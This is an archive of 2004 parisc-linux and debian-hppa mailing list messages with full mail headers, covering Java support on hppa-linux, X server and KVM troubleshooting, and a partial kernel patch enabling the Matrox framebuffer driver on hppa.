Lines: 20
Approved: news@gmane.org
Message-ID: <200405311743.i4VHhRQp019367@hiauly1.hia.nrc.ca>
References: <20040531170503.GL16157@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623463 9833 80.91.229.3 (22 Nov 2014 02:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:03 +0000 (UTC)
Cc: nwoods29321@charter.net,
 parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9106 invoked by uid 65534); 31 May 2004 17:43:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 31 May 2004 19:43:59 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D1453BDED; Mon, 31 May 2004 11:43:34 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id F15A13BDDF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 May 2004 11:43:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i4VHhSCp019369; Mon, 31 May 2004 13:43:28 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4VHhRQp019367;
	Mon, 31 May 2004 13:43:27 -0400 (EDT)
In-Reply-To: <20040531170503.GL16157@baldric.uwo.ca> from "Carlos O'Donell" at
	May 31, 2004 01:05:03 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21689

> > Problem #2: I am unable to get java working, and I have been unable to
> > locate a java plugin or j2re for debian hppa.

> Java is being worked on too.

I'll go out on a limb and say that GCC 3.5 will support java on hppa-linux.
It pretty much works now except for unwinding through signal frames.

I don't have any information on other java ports.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Web
Date: Mon, 31 May 2004 18:58:15 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200405312258.i4VMwFRM021111@hiauly1.hia.nrc.ca>
References: <20040531225013.GD26348@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623463 9837 80.91.229.3 (22 Nov 2014 02:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:03 +0000 (UTC)
Cc: nwoods29321@charter.net,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30144 invoked by uid 65534); 31 May 2004 22:58:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 01 Jun 2004 00:58:43 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 378C03BDED; Mon, 31 May 2004 16:58:22 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 208533BDE2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 31 May 2004 16:58:19 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i4VMwFCp021113; Mon, 31 May 2004 18:58:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4VMwFRM021111;
	Mon, 31 May 2004 18:58:15 -0400 (EDT)
In-Reply-To: <20040531225013.GD26348@colo.lackof.org> from "Grant Grundler" at
	May 31, 2004 04:50:13 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21690

> On Mon, May 31, 2004 at 01:43:27PM -0400, John David Anglin wrote:
> > I'll go out on a limb and say that GCC 3.5 will support java on hppa-linux.
> > It pretty much works now except for unwinding through signal frames.
> 
> Awesome!
> Any rough estimate when something will be submitted to debian?

3.5 is in pretty rough shape at the moment.  Based on the previous
release schedule, the 3.5 (4.0?) release is probably about a year away.
I think debian has been experimenting with adding it to an earlier
release but I can't do that (ask Matthias).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with Web
Date: Tue, 1 Jun 2004 22:29:05 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20040602052905.GP3517@tausq.org>
References: <20040531225013.GD26348@colo.lackof.org>
	<200405312258.i4VMwFRM021111@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623463 9838 80.91.229.3 (22 Nov 2014 02:31:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:03 +0000 (UTC)
Cc: nwoods29321@charter.net,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21987 invoked by uid 65534); 2 Jun 2004 05:29:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 02 Jun 2004 07:29:24 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D5E53BDEA; Tue,  1 Jun 2004 23:29:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id B37783BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 Jun 2004 23:29:02 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id ED01BCD299; Tue,  1 Jun 2004 22:29:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200405312258.i4VMwFRM021111@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21691

> > Awesome!
> > Any rough estimate when something will be submitted to debian?

gcc-3.3 in Debian already has the java patches, but it doesn't work 
very well there (lots of test failures). Dave and I are still trying to
sort out what is wrong with signal frame unwinding/libjava with gcc-3.5
and 2.4/2.6 kernels....

sablevm is supported on hppa-linux in switched and direct-threaded mode.
There are some issues with the inlined engine that I haven't had time to
investigate and figure out yet. It works quite well otherwise and is
actively being worked on.

kaffe can probably be made to work, at least in interpreter mode,
without too much work. It used to work ~2 years ago, but has probably 
bitrotted since then. If anyone is interested in working on this and
needs help, let me know.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: edgar@lmcarrental.net (Edgar Arroyo)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Debian 2.4.21 on HP Visualize C3000 (EG card)
Date: Wed, 02 Jun 2004 00:24:54 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <40BD5696.9060009@lmcarrental.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623464 9843 80.91.229.3 (22 Nov 2014 02:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30329 invoked by uid 65534); 2 Jun 2004 05:29:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx006) with SMTP; 02 Jun 2004 07:29:57 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B2AB93BDEF; Tue,  1 Jun 2004 23:29:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from MAIL_SRV.e-zrentacar.com (unknown [68.156.107.157])
	by free.linux.hp.com (Postfix) with ESMTP id 3F8453BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  1 Jun 2004 23:29:42 -0600 (MDT)
Original-Received: from lmcarrental.net ([24.233.157.30])
	by MAIL_SRV.e-zrentacar.com (Post.Office MTA v3.5.3 release 223
	ID# 0-12345L500S10000V35) with ESMTP id com
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 2 Jun 2004 00:30:20 -0400
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.6) Gecko/20040304
X-Accept-Language: en-us, en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21692

I have an HP Viz C3000 with an EG card (I read before installing it was 
supported)

I get this error:

(**) FBDev(0): Using "Shadow Framebuffer"
FBIOPUT_VSCREENINFO: Invalid argument

Fatal server error:
AddScreen/ScreenInit failed for driver 0

Any ideas/suggestions?

Thanks.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Peculiar X Issues
Date: Wed, 02 Jun 2004 10:02:44 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <1086184964.d661bd9cbrianbarber__8364.44049277834$1416623464$gmane$org@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623464 9846 80.91.229.3 (22 Nov 2014 02:31:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:04 +0000 (UTC)
To: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27214 invoked by uid 65534); 2 Jun 2004 14:03:08 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx015) with SMTP; 02 Jun 2004 16:03:08 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 233BEEBB1; Wed,  2 Jun 2004 09:02:57 -0500 (CDT)
Old-Return-Path: <brianbarber@myrealbox.com>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com [192.108.102.143])
	by murphy.debian.org (Postfix) with ESMTP id 28A07F0A9
	for <debian-hppa@lists.debian.org>; Wed,  2 Jun 2004 09:02:37 -0500 (CDT)
Original-Received: from brianbarber [192.197.71.189] by myrealbox.com
	with NetMail ModWeb Module; Wed, 02 Jun 2004 10:02:44 -0400
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-Rc-Virus: 2004-06-01_01
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_06_01_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_06_01_01
Resent-Message-ID: <zCRcPD.A.nsB.Q4dvAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3667
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  2 Jun 2004 09:02:57 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21693

I have two issues that I encounter when using X on my 712/80 running Debian=
 Sarge* (testing):

1) I just installed a new Startech 411 KVM switch last night and now my mou=
se does not work.  It works with exactly the same monitor, keyboard and m=
ouse, through a Cybex (now Avocent) 2-port KVM and when directly connecte=
d.  Any suggestions?

2) I'm running IceWM. When I startx as root, I get the white background tha=
t I have configured in my .preferences file.  I use the same file for reg=
ular users.  When I startx as a regular user, there is no background colo=
ur, only the grey thatch X background.  Could this be a path=3D or permis=
sions issue?

If you need additional information, please let me know.

Thanks for the help in advance,

BB

* I 'apt-get update && apt-get dist-upgrade' nightly.  One could very safel=
y assume that all installed packages are the most current from the testin=
g branch.



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Peculiar X Issues
Date: Wed, 2 Jun 2004 20:55:57 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <200406022056.00125.deller__16502.0029795871$1416623465$gmane$org@gmx.de>
References: <1086184964.d661bd9cbrianbarber@myrealbox.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623465 9849 80.91.229.3 (22 Nov 2014 02:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org,
 brianbarber@linux.ca
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28257 invoked by uid 65534); 2 Jun 2004 18:58:07 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx034) with SMTP; 02 Jun 2004 20:58:07 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 16640EE83; Wed,  2 Jun 2004 13:56:20 -0500 (CDT)
Old-Return-Path: <deller@gmx.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by murphy.debian.org (Postfix) with SMTP id 16B1CEA05
	for <debian-hppa@lists.debian.org>; Wed,  2 Jun 2004 13:56:01 -0500 (CDT)
Original-Received: (qmail 31434 invoked by uid 65534); 2 Jun 2004 18:56:04 -0000
Original-Received: from pD9040D75.dip.t-dialin.net (EHLO p100) (217.4.13.117)
  by mail.gmx.net (mp012) with SMTP; 02 Jun 2004 20:56:04 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
In-Reply-To: <1086184964.d661bd9cbrianbarber@myrealbox.com>
Content-Disposition: inline
X-Rc-Virus: 2004-06-01_01
X-Rc-Spam: 2004-05-26_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_06_01_01 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-1.0 required=4.0 tests=LDOSUBSCRIBER autolearn=no 
	version=2.63-lists.debian.org_2004_06_01_01
Resent-Message-ID: <eKg-hC.A.IXB.TLivAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3671
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Wed,  2 Jun 2004 13:56:20 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21694

On Wednesday 02 June 2004 16:02, Brian Barber wrote:
> 1) I just installed a new Startech 411 KVM switch last night and now my mouse does not work.  It works with exactly the same monitor, keyboard and mouse, through a Cybex (now Avocent) 2-port KVM and when directly connected.  Any suggestions?

The input drivers in 2.6 still has some problems with this kind of switches. Even on i386 (could you test it on such a machine with the same kernel?).
Else I have right now no other ideas.

helge


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Get your Matrox PCI cards out of the basement ...
Date: Thu, 3 Jun 2004 00:17:34 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20040602221734.GA26176@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623465 9851 80.91.229.3 (22 Nov 2014 02:31:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8550 invoked by uid 65534); 2 Jun 2004 23:06:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 03 Jun 2004 01:06:04 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C51C3BDE9; Wed,  2 Jun 2004 17:05:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by free.linux.hp.com (Postfix) with ESMTP id A8FB73BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  2 Jun 2004 17:05:53 -0600 (MDT)
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1BVe3k-0002ag-05
	for parisc-linux@lists.parisc-linux.org; Thu, 03 Jun 2004 00:18:08 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 56BA527C62; Thu,  3 Jun 2004 00:17:34 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21695

....I got the matroxfb driver working on my B2600 including X on top
of fbdev (the mga driver doesn't work yet). So far I just used
a very old Matrox Millenium I. Below is the necessary patch for
2.6.7-rc1.

Have fun,
Thomas.


Index: matroxfb_base.h
===================================================================
RCS file: /home/cvs/parisc/linux-2.6/drivers/video/matrox/matroxfb_base.h,v
retrieving revision 1.3
diff -u -p -r1.3 matroxfb_base.h
--- matroxfb_base.h	18 Oct 2003 00:23:18 -0000	1.3
+++ matroxfb_base.h	2 Jun 2004 21:18:34 -0000
@@ -99,7 +99,7 @@
 #endif
 #endif
 
-#if defined(__alpha__) || defined(__mc68000__)
+#if defined(__alpha__) || defined(__mc68000__) || defined(__hppa__)
 #define READx_WORKS
 #define MEMCPYTOIO_WORKS
 #else
@@ -165,27 +165,27 @@ typedef struct {
 
 #ifdef READx_WORKS
 static inline unsigned int mga_readb(vaddr_t va, unsigned int offs) {
-	return readb(va.vaddr + offs);
+	return fb_readb(va.vaddr + offs);
 }
 
 static inline unsigned int mga_readw(vaddr_t va, unsigned int offs) {
-	return readw(va.vaddr + offs);
+	return fb_readw(va.vaddr + offs);
 }
 
